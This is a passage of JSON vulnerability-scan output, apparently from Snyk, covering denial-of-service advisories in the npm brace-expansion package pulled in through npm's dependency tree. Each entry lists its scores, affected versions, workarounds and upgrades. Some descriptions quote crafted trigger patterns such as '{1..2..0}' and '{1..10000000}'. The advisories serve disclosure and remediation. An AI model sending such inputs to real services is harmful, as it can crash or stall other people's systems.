"CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, 